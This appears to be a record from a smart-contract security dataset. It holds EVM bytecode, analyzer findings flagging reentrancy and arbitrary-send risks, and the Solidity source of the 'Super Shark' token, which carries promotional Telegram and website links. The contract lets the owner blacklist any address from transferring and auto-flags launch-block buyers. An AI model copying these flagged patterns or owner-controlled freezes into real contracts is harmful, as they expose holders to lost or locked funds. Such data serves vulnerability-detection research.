fffffffffffffffff16141561122d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122490612b77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561129d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129490612a77565b60405180910390fd5b600081116112e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d790612b57565b60405180910390fd5b6112e86107cf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561135657506113266107cf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561180c57600e60179054906101000a900460ff1615611589573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113d857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114325750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561148c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561158857600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114d2610fea565b73ffffffffffffffffffffffffffffffffffffffff1614806115485750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611530610fea565b73ffffffffffffffffffffffffffffffffffffffff16145b611587576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157e90612bd7565b60405180910390fd5b5b5b600f5481111561159857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116995750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116b15750600e60179054906101000a900460ff165b156117525742600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061170157600080fd5b603c4261170e9190612cdc565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061175d3061062b565b9050600e60159054906101000a900460ff161580156117ca5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156117e25750600e60169054906101000a900460ff165b1561180a576117f081611a9c565b600047905060008111156118085761180747611933565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118b35750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118bd57600090505b6118c984848484611de9565b50505050565b6000838311158290611917576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190e9190612a55565b60405180910390fd5b50600083856119269190612dbd565b9050809150509392505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611983600284611d9f90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119ae573d6000803e3d6000fd5b50600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119ff600284611d9f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a2a573d6000803e3d6000fd5b5050565b6000600654821115611a75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6c90612a97565b60405180910390fd5b6000611a7f611e16565b9050611a948184611d9f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ad457611ad3612f18565b5b604051908082528060200260200182016040528015611b025781602001602082028036833780820191505090505b5090503081600081518110611b1a57611b19612ee9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bbc57600080fd5b505afa158015611bd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bf491906124e5565b81600181518110611c0857611c07612ee9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c6f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ff2565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611cd3959493929190612c12565b600060405180830381600087803b158015611ced57600080fd5b505af1158015611d01573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611d375760009050611d99565b60008284611d459190612d63565b9050828482611d549190612d32565b14611d94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8b90612b17565b60405180910390fd5b809150505b92915050565b6000611de183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e41565b905092915050565b80611df757611df6611ea4565b5b611e02848484611ed5565b80611e1057611e0f6120a0565b5b50505050565b6000806000611e236120b2565b91509150611e3a8183611d9f90919063ffffffff16565b9250505090565b60008083118290611e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7f9190612a55565b60405180910390fd5b5060008385611e979190612d32565b9050809150509392505050565b6000600854148015611eb857506000600954145b15611ec257611ed3565b600060088190555060006009819055505b565b600080600080600080611ee787612114565b955095509550955095509550611f4586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fda85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061202681612224565b61203084836122e1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208d9190612bf7565b60405180910390a3505050505050505050565b60056008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506120e8683635c9adc5dea00000600654611d9f90919063ffffffff16565b82101561210757600654683635c9adc5dea00000935093505050612110565b81819350935050505b9091565b60008060008060008060008060006121318a60085460095461231b565b9250925092506000612141611e16565b905060008060006121548e8787876123b1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006121be83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118cf565b905092915050565b60008082846121d59190612cdc565b90508381101561221a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221190612ad7565b60405180910390fd5b8091505092915050565b600061222e611e16565b905060006122458284611d2490919063ffffffff16565b905061229981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122f68260065461217c90919063ffffffff16565b600681905550612311816007546121c690919063ffffffff16565b6007819055505050565b6000806000806123476064612339888a611d2490919063ffffffff16565b611d9f90919063ffffffff16565b905060006123716064612363888b611d2490919063ffffffff16565b611d9f90919063ffffffff16565b9050600061239a8261238c858c61217c90919063ffffffff16565b61217c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806123ca8589611d2490919063ffffffff16565b905060006123e18689611d2490919063ffffffff16565b905060006123f88789611d2490919063ffffffff16565b9050600061242182612413858761217c90919063ffffffff16565b61217c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061244981613253565b92915050565b60008151905061245e81613253565b92915050565b6000813590506124738161326a565b92915050565b6000815190506124888161326a565b92915050565b60008135905061249d81613281565b92915050565b6000815190506124b281613281565b92915050565b6000602082840312156124ce576124cd612f47565b5b60006124dc8482850161243a565b91505092915050565b6000602082840312156124fb576124fa612f47565b5b60006125098482850161244f565b91505092915050565b6000806040838503121561252957612528612f47565b5b60006125378582860161243a565b92505060206125488582860161243a565b9150509250929050565b60008060006060848603121561256b5761256a612f47565b5b60006125798682870161243a565b935050602061258a8682870161243a565b925050604061259b8682870161248e565b9150509250925092565b600080604083850312156125bc576125bb612f47565b5b60006125ca8582860161243a565b92505060206125db8582860161248e565b9150509250929050565b6000602082840312156125fb576125fa612f47565b5b600061260984828501612464565b91505092915050565b60006020828403121561262857612627612f47565b5b600061263684828501612479565b91505092915050565b60006020828403121561265557612654612f47565b5b60006126638482850161248e565b91505092915050565b60008060006060848603121561268557612684612f47565b5b6000612693868287016124a3565b93505060206126a4868287016124a3565b92505060406126b5868287016124a3565b9150509250925092565b60006126cb83836126d7565b60208301905092915050565b6126e081612df1565b82525050565b6126ef81612df1565b82525050565b600061270082612c97565b61270a8185612cba565b935061271583612c87565b8060005b8381101561274657815161272d88826126bf565b975061273883612cad565b925050600181019050612719565b5085935050505092915050565b61275c81612e03565b82525050565b61276b81612e46565b82525050565b600061277c82612ca2565b6127868185612ccb565b9350612796818560208601612e58565b61279f81612f4c565b840191505092915050565b60006127b7602383612ccb565b91506127c282612f5d565b604082019050919050565b60006127da602a83612ccb565b91506127e582612fac565b604082019050919050565b60006127fd602283612ccb565b915061280882612ffb565b604082019050919050565b6000612820601b83612ccb565b915061282b8261304a565b602082019050919050565b6000612843601d83612ccb565b915061284e82613073565b602082019050919050565b6000612866602183612ccb565b91506128718261309c565b604082019050919050565b6000612889602083612ccb565b9150612894826130eb565b602082019050919050565b60006128ac602983612ccb565b91506128b782613114565b604082019050919050565b60006128cf602583612ccb565b91506128da82613163565b604082019050919050565b60006128f2602483612ccb565b91506128fd826131b2565b604082019050919050565b6000612915601783612ccb565b915061292082613201565b602082019050919050565b6000612938601183612ccb565b91506129438261322a565b602082019050919050565b61295781612e2f565b82525050565b61296681612e39565b82525050565b600060208201905061298160008301846126e6565b92915050565b600060408201905061299c60008301856126e6565b6129a960208301846126e6565b9392505050565b60006040820190506129c560008301856126e6565b6129d2602083018461294e565b9392505050565b600060c0820190506129ee60008301896126e6565b6129fb602083018861294e565b612a086040830187612762565b612a156060830186612762565b612a2260808301856126e6565b612a2f60a083018461294e565b979650505050505050565b6000602082019050612a4f6000830184612753565b92915050565b60006020820190508181036000830152612a6f8184612771565b905092915050565b60006020820190508181036000830152612a90816127aa565b9050919050565b60006020820190508181036000830152612ab0816127cd565b9050919050565b60006020820190508181036000830152612ad0816127f0565b9050919050565b60006020820190508181036000830152612af081612813565b9050919050565b60006020820190508181036000830152612b1081612836565b9050919050565b60006020820190508181036000830152612b3081612859565b9050919050565b60006020820190508181036000830152612b508161287c565b9050919050565b60006020820190508181036000830152612b708161289f565b9050919050565b60006020820190508181036000830152612b90816128c2565b9050919050565b60006020820190508181036000830152612bb0816128e5565b9050919050565b60006020820190508181036000830152612bd081612908565b9050919050565b60006020820190508181036000830152612bf08161292b565b9050919050565b6000602082019050612c0c600083018461294e565b92915050565b600060a082019050612c27600083018861294e565b612c346020830187612762565b8181036040830152612c4681866126f5565b9050612c5560608301856126e6565b612c62608083018461294e565b9695505050505050565b6000602082019050612c81600083018461295d565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ce782612e2f565b9150612cf283612e2f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d2757612d26612e8b565b5b828201905092915050565b6000612d3d82612e2f565b9150612d4883612e2f565b925082612d5857612d57612eba565b5b828204905092915050565b6000612d6e82612e2f565b9150612d7983612e2f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612db257612db1612e8b565b5b828202905092915050565b6000612dc882612e2f565b9150612dd383612e2f565b925082821015612de657612de5612e8b565b5b828203905092915050565b6000612dfc82612e0f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612e5182612e2f565b9050919050565b60005b83811015612e76578082015181840152602081019050612e5b565b83811115612e85576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61325c81612df1565b811461326757600080fd5b50565b61327381612e03565b811461327e57600080fd5b50565b61328a81612e2f565b811461329557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208dea9dc43066b8f6788b047d3d716f0d3e3e8d9a6fed3c51330ab903a0234fc564736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,168 |
0x22b5493c7e45Efa9740d1af6f71e7f745768b776
|
/**
*Submitted for verification at Etherscan.io on 2021-12-21
*/
/**
🐳TG
https://t.me/supershark
🖥Website
https://supershark.games
🐤Twitter
https://twitter.com/supersharkgames
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract SUPERSHARK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Super Shark";
string private constant _symbol = "SSK";
uint private constant _decimals = 9;
uint256 private _teamFee = 13;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(5).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(5).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(5).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (30 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setNoTaxMode(bool onoff) external onlyOwner() {
_noTaxMode = onoff;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15, "Team fee cannot be larger than 15%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063b515566a1161008a578063cf9d4afa11610064578063cf9d4afa1461050d578063dd62ed3e14610536578063e6ec64ec14610573578063f2fde38b1461059c57610171565b8063b515566a146104a4578063c9567bf9146104cd578063cf0848f7146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806390d49b9d1461041357806395d89b411461043c578063a9059cbb1461046757610171565b806331c2d8471161012357806331c2d847146102885780633bbac579146102b1578063437823ec146102ee578063476343ee146103175780634b740b161461032e5780635342acb41461035757610171565b806306d8ea6b1461017657806306fdde031461018d578063095ea7b3146101b857806318160ddd146101f557806323b872dd14610220578063313ce5671461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105c5565b005b34801561019957600080fd5b506101a261065a565b6040516101af9190612ae7565b60405180910390f35b3480156101c457600080fd5b506101df60048036038101906101da9190612bb1565b610697565b6040516101ec9190612c0c565b60405180910390f35b34801561020157600080fd5b5061020a6106b5565b6040516102179190612c36565b60405180910390f35b34801561022c57600080fd5b5061024760048036038101906102429190612c51565b6106c6565b6040516102549190612c0c565b60405180910390f35b34801561026957600080fd5b5061027261079f565b60405161027f9190612c36565b60405180910390f35b34801561029457600080fd5b506102af60048036038101906102aa9190612dec565b6107a8565b005b3480156102bd57600080fd5b506102d860048036038101906102d39190612e35565b6108b9565b6040516102e59190612c0c565b60405180910390f35b3480156102fa57600080fd5b5061031560048036038101906103109190612ea0565b61090f565b005b34801561032357600080fd5b5061032c6109e6565b005b34801561033a57600080fd5b5061035560048036038101906103509190612ef9565b610a57565b005b34801561036357600080fd5b5061037e60048036038101906103799190612e35565b610af0565b60405161038b9190612c0c565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b69190612e35565b610b46565b6040516103c89190612c36565b60405180910390f35b3480156103dd57600080fd5b506103e6610b97565b005b3480156103f457600080fd5b506103fd610c1f565b60405161040a9190612f35565b60405180910390f35b34801561041f57600080fd5b5061043a60048036038101906104359190612ea0565b610c48565b005b34801561044857600080fd5b50610451610dfc565b60405161045e9190612ae7565b60405180910390f35b34801561047357600080fd5b5061048e60048036038101906104899190612bb1565b610e39565b60405161049b9190612c0c565b60405180910390f35b3480156104b057600080fd5b506104cb60048036038101906104c69190612dec565b610e57565b005b3480156104d957600080fd5b506104e261104e565b005b3480156104f057600080fd5b5061050b60048036038101906105069190612ea0565b611153565b005b34801561051957600080fd5b50610534600480360381019061052f9190612ea0565b61122a565b005b34801561054257600080fd5b5061055d60048036038101906105589190612f50565b6115c4565b60405161056a9190612c36565b60405180910390f35b34801561057f57600080fd5b5061059a60048036038101906105959190612f90565b61164b565b005b3480156105a857600080fd5b506105c360048036038101906105be9190612e35565b611715565b005b6105cd61180d565b73ffffffffffffffffffffffffffffffffffffffff166105eb610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890613009565b60405180910390fd5b600061064c30610b46565b905061065781611815565b50565b60606040518060400160405280600b81526020017f537570657220536861726b000000000000000000000000000000000000000000815250905090565b60006106ab6106a461180d565b8484611a8e565b6001905092915050565b600068056bc75e2d63100000905090565b60006106d3848484611c59565b610794846106df61180d565b61078f85604051806060016040528060288152602001613bb360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561180d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229f9092919063ffffffff16565b611a8e565b600190509392505050565b60006009905090565b6107b061180d565b73ffffffffffffffffffffffffffffffffffffffff166107ce610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b90613009565b60405180910390fd5b60005b81518110156108b55760006005600084848151811061084957610848613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108ad90613087565b91505061